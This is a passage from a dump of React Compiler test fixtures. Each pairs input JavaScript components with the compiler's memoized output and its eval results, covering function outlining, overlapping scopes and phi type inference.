    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  // test outlined functions with destructured parameters - the\n  // temporary for the destructured param must be promoted\n  return (\n    <>\n      {props.items.map(({id, name}) => (\n        <Stringify key={id} name={name} />\n      ))}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'one'}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map(_temp);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <>{t0}</>;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\nfunction _temp(t0) {\n  const { id, name } = t0;\n  return <Stringify key={id} name={name} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [{ id: 1, name: \"one\" }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"name\":\"one\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  // test outlined functions with destructured parameters - the\n  // temporary for the destructured param must be promoted\n  return (\n    <>\n      {props.items.map(({id, name}) => (\n        <Stringify key={id} name={name} />\n      ))}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'one'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <div>\n      {props.items.map(item => (\n        <Stringify key={item.id} item={item.name} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'one'}]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map(_temp);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <div>{t0}</div>;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return <Stringify key={item.id} item={item.name} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [{ id: 1, name: \"one\" }] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"item\":\"one\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-helper.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <div>\n      {props.items.map(item => (\n        <Stringify key={item.id} item={item.name} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1, name: 'one'}]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nconst Component2 = props => {\n  return (\n    <ul>\n      {props.items.map(item => (\n        <li key={item.id}>{item.name}</li>\n      ))}\n    </ul>\n  );\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component2,\n  params: [\n    {\n      items: [\n        {id: 2, name: 'foo'},\n        {id: 3, name: 'bar'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst Component2 = (props) => {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map(_temp);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <ul>{t0}</ul>;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component2,\n  params: [\n    {\n      items: [\n        { id: 2, name: \"foo\" },\n        { id: 3, name: \"bar\" },\n      ],\n    },\n  ],\n};\nfunction _temp(item) {\n  return <li key={item.id}>{item.name}</li>;\n}\n\n```\n      \n### Eval output\n(kind: ok) <ul><li>foo</li><li>bar</li></ul>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-func-expr.js",
    "content": "const Component2 = props => {\n  return (\n    <ul>\n      {props.items.map(item => (\n        <li key={item.id}>{item.name}</li>\n      ))}\n    </ul>\n  );\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component2,\n  params: [\n    {\n      items: [\n        {id: 2, name: 'foo'},\n        {id: 3, name: 'bar'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return <View {...props} />;\n}\n\nconst View = React.memo(({items}) => {\n  return (\n    <ul>\n      {items.map(item => (\n        <li key={item.id}>{item.name}</li>\n      ))}\n    </ul>\n  );\n});\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: 2, name: 'foo'},\n        {id: 3, name: 'bar'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = <View {...props} />;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nconst View = React.memo((t0) => {\n  const $ = _c(4);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = items.map(_temp);\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== t1) {\n    t2 = <ul>{t1}</ul>;\n    $[2] = t1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n});\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        { id: 2, name: \"foo\" },\n        { id: 3, name: \"bar\" },\n      ],\n    },\n  ],\n};\nfunction _temp(item) {\n  return <li key={item.id}>{item.name}</li>;\n}\n\n```\n      \n### Eval output\n(kind: ok) <ul><li>foo</li><li>bar</li></ul>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlining-in-react-memo.js",
    "content": "function Component(props) {\n  return <View {...props} />;\n}\n\nconst View = React.memo(({items}) => {\n  return (\n    <ul>\n      {items.map(item => (\n        <li key={item.id}>{item.name}</li>\n      ))}\n    </ul>\n  );\n});\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: 2, name: 'foo'},\n        {id: 3, name: 'bar'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = [];\n  const y = [];\n\n  if (x) {\n  }\n\n  y.push(a);\n  x.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  const x = [];\n  const y = [];\n\n  if (x) {\n  }\n\n  y.push(a);\n  x.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved-by-terminal.js",
    "content": "function foo(a, b, c) {\n  const x = [];\n  const y = [];\n\n  if (x) {\n  }\n\n  y.push(a);\n  x.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  let x = [];\n  let y = [];\n  x.push(a);\n  y.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  const x = [];\n  const y = [];\n  x.push(a);\n  y.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-interleaved.js",
    "content": "function foo(a, b) {\n  let x = [];\n  let y = [];\n  x.push(a);\n  y.push(b);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  let x = [];\n  let y = [];\n  y.push(b);\n  x.push(a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  const x = [];\n  const y = [];\n  y.push(b);\n  x.push(a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowed.js",
    "content": "function foo(a, b) {\n  let x = [];\n  let y = [];\n  y.push(b);\n  x.push(a);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  if (a) {\n    let y = [];\n    if (b) {\n      y.push(c);\n    }\n\n    x.push(<div>{y}</div>);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(9);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      let y;\n      if ($[4] !== b || $[5] !== c) {\n        y = [];\n        if (b) {\n          y.push(c);\n        }\n        $[4] = b;\n        $[5] = c;\n        $[6] = y;\n      } else {\n        y = $[6];\n      }\n      let t0;\n      if ($[7] !== y) {\n        t0 = <div>{y}</div>;\n        $[7] = y;\n        $[8] = t0;\n      } else {\n        t0 = $[8];\n      }\n      x.push(t0);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-shadowing-within-block.js",
    "content": "function foo(a, b, c) {\n  let x = [];\n  if (a) {\n    let y = [];\n    if (b) {\n      y.push(c);\n    }\n\n    x.push(<div>{y}</div>);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  let y = [];\n  while (c) {\n    y.push(b);\n    x.push(a);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  const x = [];\n  const y = [];\n  while (c) {\n    y.push(b);\n    x.push(a);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-while.js",
    "content": "function foo(a, b, c) {\n  let x = [];\n  let y = [];\n  while (c) {\n    y.push(b);\n    x.push(a);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  if (a) {\n    let y = [];\n    if (b) {\n      y.push(c);\n    }\n\n    x.push(y);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(7);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      let y;\n      if ($[4] !== b || $[5] !== c) {\n        y = [];\n        if (b) {\n          y.push(c);\n        }\n        $[4] = b;\n        $[5] = c;\n        $[6] = y;\n      } else {\n        y = $[6];\n      }\n\n      x.push(y);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/overlapping-scopes-within-block.js",
    "content": "function foo(a, b, c) {\n  let x = [];\n  if (a) {\n    let y = [];\n    if (b) {\n      y.push(c);\n    }\n\n    x.push(y);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {PanResponder, Stringify} from 'shared-runtime';\n\nexport default component Playground() {\n  const onDragEndRef = useRef(() => {});\n  useEffect(() => {\n    onDragEndRef.current = () => {\n      console.log('drag ended');\n    };\n  });\n  const panResponder = useMemo(\n    () =>\n      PanResponder.create({\n        onPanResponderTerminate: () => {\n          onDragEndRef.current();\n        },\n      }),\n    []\n  );\n  return <Stringify responder={panResponder} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { PanResponder, Stringify } from \"shared-runtime\";\n\nexport default function Playground() {\n  const $ = _c(3);\n  const onDragEndRef = useRef(_temp);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      onDragEndRef.current = _temp2;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(t0);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = PanResponder.create({\n      onPanResponderTerminate: () => {\n        onDragEndRef.current();\n      },\n    });\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const panResponder = t1;\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <Stringify responder={panResponder} />;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\nfunction _temp2() {\n  console.log(\"drag ended\");\n}\nfunction _temp() {}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.js",
    "content": "// @flow\nimport {PanResponder, Stringify} from 'shared-runtime';\n\nexport default component Playground() {\n  const onDragEndRef = useRef(() => {});\n  useEffect(() => {\n    onDragEndRef.current = () => {\n      console.log('drag ended');\n    };\n  });\n  const panResponder = useMemo(\n    () =>\n      PanResponder.create({\n        onPanResponderTerminate: () => {\n          onDragEndRef.current();\n        },\n      }),\n    []\n  );\n  return <Stringify responder={panResponder} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  let y = null;\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    y = foo();\n    if (props.b) {\n      return;\n    }\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  let y;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = foo();\n          $[5] = t1;\n        } else {\n          t1 = $[5];\n        }\n        y = t1;\n        if (props.b) {\n          t0 = undefined;\n          break bb0;\n        }\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n    $[4] = y;\n  } else {\n    t0 = $[3];\n    y = $[4];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, a: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/partial-early-return-within-reactive-scope.js",
    "content": "function Component(props) {\n  let x = [];\n  let y = null;\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    y = foo();\n    if (props.b) {\n      return;\n    }\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\nfunction Foo(cond) {\n  let x = null;\n  if (cond) {\n    x = [];\n  } else {\n  }\n  // Here, x = phi(x$null, x$[]) should receive a ValueKind of Mutable\n  arrayPush(x, 2);\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\n\nfunction Foo(cond) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== cond) {\n    x = null;\n    if (cond) {\n      x = [];\n    }\n\n    arrayPush(x, 2);\n    $[0] = cond;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond: true }],\n  sequentialRenders: [{ cond: true }, { cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-reference-effects.ts",
    "content": "import {arrayPush} from 'shared-runtime';\n\nfunction Foo(cond) {\n  let x = null;\n  if (cond) {\n    x = [];\n  } else {\n  }\n  // Here, x = phi(x$null, x$[]) should receive a ValueKind of Mutable\n  arrayPush(x, 2);\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    if (props.cond2) {\n      y = [props.value];\n    } else {\n      y = [props.value2];\n    }\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, cond2: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: true, value: 42},\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: true, cond2: false, value2: 42},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: false},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if (\n    $[1] !== props.cond ||\n    $[2] !== props.cond2 ||\n    $[3] !== props.value ||\n    $[4] !== props.value2\n  ) {\n    let y;\n    if (props.cond) {\n      if (props.cond2) {\n        y = [props.value];\n      } else {\n        y = [props.value2];\n      }\n    } else {\n      y = [];\n    }\n    y.push(x);\n    t1 = [x, y];\n    $[1] = props.cond;\n    $[2] = props.cond2;\n    $[3] = props.value;\n    $[4] = props.value2;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, cond2: true, value: 42 }],\n  sequentialRenders: [\n    { cond: true, cond2: true, value: 3.14 },\n    { cond: true, cond2: true, value: 42 },\n    { cond: true, cond2: true, value: 3.14 },\n    { cond: true, cond2: false, value2: 3.14 },\n    { cond: true, cond2: false, value2: 42 },\n    { cond: true, cond2: false, value2: 3.14 },\n    { cond: false },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push-consecutive-phis.js",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    if (props.cond2) {\n      y = [props.value];\n    } else {\n      y = [props.value2];\n    }\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, cond2: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: true, value: 42},\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: true, cond2: false, value2: 42},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: false},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = [props.value];\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, value: 3.14},\n    {cond: false, value: 3.14},\n    {cond: true, value: 42},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] !== props.cond || $[2] !== props.value) {\n    let y;\n    if (props.cond) {\n      y = [props.value];\n    } else {\n      y = [];\n    }\n    y.push(x);\n    t1 = [x, y];\n    $[1] = props.cond;\n    $[2] = props.value;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, value: 42 }],\n  sequentialRenders: [\n    { cond: true, value: 3.14 },\n    { cond: false, value: 3.14 },\n    { cond: true, value: 42 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-array-push.js",
    "content": "function Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = [props.value];\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, value: 3.14},\n    {cond: false, value: 3.14},\n    {cond: true, value: 42},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.expect.md",
    "content": "\n## Input\n\n```javascript\n// @debug\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = {};\n  } else {\n    y = {a: props.a};\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the object literals in the\n  // if/else branches\n  y.x = x;\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: 'a!'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @debug\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] !== props.a || $[2] !== props.cond) {\n    let y;\n    if (props.cond) {\n      y = {};\n    } else {\n      y = { a: props.a };\n    }\n    y.x = x;\n    t1 = [x, y];\n    $[1] = props.a;\n    $[2] = props.cond;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, a: \"a!\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 